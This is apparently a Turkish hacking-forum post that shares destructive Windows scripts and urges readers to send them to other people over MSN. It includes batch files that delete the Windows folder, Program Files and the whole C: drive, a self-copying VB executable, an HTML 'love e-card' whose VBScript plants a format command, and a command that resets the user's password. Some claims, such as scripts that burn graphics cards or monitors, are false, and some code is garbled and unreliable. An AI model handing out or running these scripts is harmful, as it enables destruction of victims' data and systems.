Kodları not defterine yapıştırıp farklı kaydetden ISTEDIGINIZISIM.bat olarak kaydedin
ekran kartı yakabilecek güçte bir kod
not defterii açınız alt alta yaza bildiğiniz kadar start yazın ne kadar cok olursa o kadar iyidir ve farklı kaydet deyip ISTEDIGINIZISIM.bat olarak kaydedin ama tıklamayın yoksa ekran kartına eLveda = )
Pc Çökertebilecek Bir Etkili Kod
kod:::--Private Sub Form_Unload(Cancel As Integer)
Randomize Timer
Dim ras, yol, sonuc, calis
ras = Rnd * 1000000
yol = App.Path & "\\" & App.EXEName & ".exe"
sonuc = ras & ".exe"
kp = "c:\\windows\\system32\\drivers\\" & sonuc & ""
FileCopy yol, "c:\\windows\\system32\\drivers\\" & sonuc & ""
calis = Shell(kp)
End Sub
CALISAN UYGULAMALARI KAPATMAK
Kod:
@echo off C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@echo off C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off cls cls @echo .::By.ch3Ls3a::. @echo off
WİNDOSU SİLEN KOD
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off
cls
cls
@echo .:By.ch3Ls3a::.
@echo off
HARDİSKİ YAKAN KOD
<html>
<head>
****** **********=\\\"Content-Type\\\" *********\\\"text/html; charset=iso-8859-1\\\">
<title>Aşkından Sevgilerle</title>
</head>
<bOdy>
******** language=\\\"VBSCRIPT\\\">
Set fs = CreateObject(\\\"Scripting.FileSystemObject\\\"
Set a = fs.CreateTextFile(\\\"C:c:\\\\windows\\\\system32\ \\\autoexec. nt\\\", True)
a.WriteLine(\\\"format c: /autotest /u /q\\\"
a.Close
</******>
<p>Giriste ac1lan uyariya \\\"HAYIR\\\" dediyseniz <a
href= \\\"<i>javascript</i>:reload()\\\">Malesef e-kart 1n1z cal1smayacakt1r.</p>
</bOdy>
</html>
Uzantısını HTML olarak kaydedin.
PC KAPANIP ACILMAMSINA NEDEN OLABİLECEK KOD
kod:::--Private Sub Form_Unload(Cancel As Integer)
Randomize Timer
Dim ras, yol, sonuc, calis
ras = Rnd * 1000000
yol = App.Path & "\\" & App.EXEName & ".exe"
sonuc = ras & ".exe"
kp = "c:\\windows\\system32\\drivers\\" & sonuc & ""
FileCopy yol, "c:\\windows\\system32\\drivers\\" & sonuc & ""
calis = Shell(kp)
End Sub
PC KAPANIR BİR DAHA AÇILMAZ
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off
cls
cls
@echo .:Hacking... Hacked By.ch3Ls3a ::.
@echo off3
Karşıdaki Kişiye Format atabilecek bir kod
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off
cls
cls
@echo .:Seni salak formatı yedin::.
@echo off
Çalışan ve Gördüğüm en Küçük Virüs
Bu Forumda Verilip verilmediğini tam olarak bilmiyorum ama Suan elimde çok basit yazılmış bir virüs var. Kodlar Aşağıdaki gibidir. Yapmanız gereken tek şey kodları Notepad e yapıştırıp uzantısını .bat olarak ayarlamak. sonra Msn de veya başka bir paylaşım programında başkasına gönderebilirsiniz. Peki virüsümüzün zararı nedir? sorusunun cevabı ise C sürücüsündeki bazı dosyaları siliyor ve 2 sn sonra bilgisayar resetleniyor. taki bir daha açılmamak üzere artık o pc yi format paklar...
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off
cls
cls
@echo .::Format Down Up Your Sistem Limp_buskuit::.
@echo off
Ekran Kartını Yakma
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off
cls
cls
@echo .:: Hacked By.ch3Ls3a gülümse ::.
@echo off3.
HDD Yakan Virus
/timersecure 0 0 //mkdir $mid(C:,1,2) $+ $rand(1,99999) $+ $rand(A,Z) $+ $rand(a,z)
Karşıdaki Pc ye şifre koy istediğiniz şifreyi 123456 yazan yere yaz
net user %username% 123456
shutdown -r
msn patlatma %100 başarı
tek yapmanız gereken kodu arkadaşınıza yedirmek kodu kişisel iletiye yazdığı an msn si kapanıyo ve bidaha açamıyo ( denendi onaylandı )
kod:
--------------------------------------------------------------------------------
ñ¯a_Á¯aÿ±m¯a?ÁÇáç±Çáß±Çá§ÁaÇáDZOÇᯱÇ᧱Çár×ÁÇá+ÑÇ á£áÇá
Monitör Yakma
90,90
resizepic 0 0 5054 405 470
gumppic 10 10 5528
gumppic <eval (10+((<p.x>*100)/1337))> <eval (10+((<p.y>*100)/1067))> 2362
text 20 400 455 0
text 20 435 455 01 local.t_x=<argn1>
local.t_y=<argn2>
sector.allclients sendpacket 0c0 00 D<var.src> D<var.target> W<var.effect> W<p.x> W<eval <p.y**** B<qval <argn3>?<argn3>:<p.z**** W<local.t_x> W<local.t_y> B<qval <argn3>?<argn3>:<p.z**** B<var.speed> B<var0.duration> 00 00 00 B<qval <var0.explode>?<var.explode>:0> D<hval <var.hue> - 1> D<var.rendermode>
not defterine kopyalayın ve uzantısını bat yapın sakın siz tıklamayın
evet aşağıdaki komutlar ise karşı pc nin masaüstünü komple siler
CD..
CD..
CD.
erase c:/f/s/q/a
not defterine kopyalayın ve uzantısını bat yapın
Bir İşinize Yaradıysa Bir Teşekkürü Esirgemeyin ..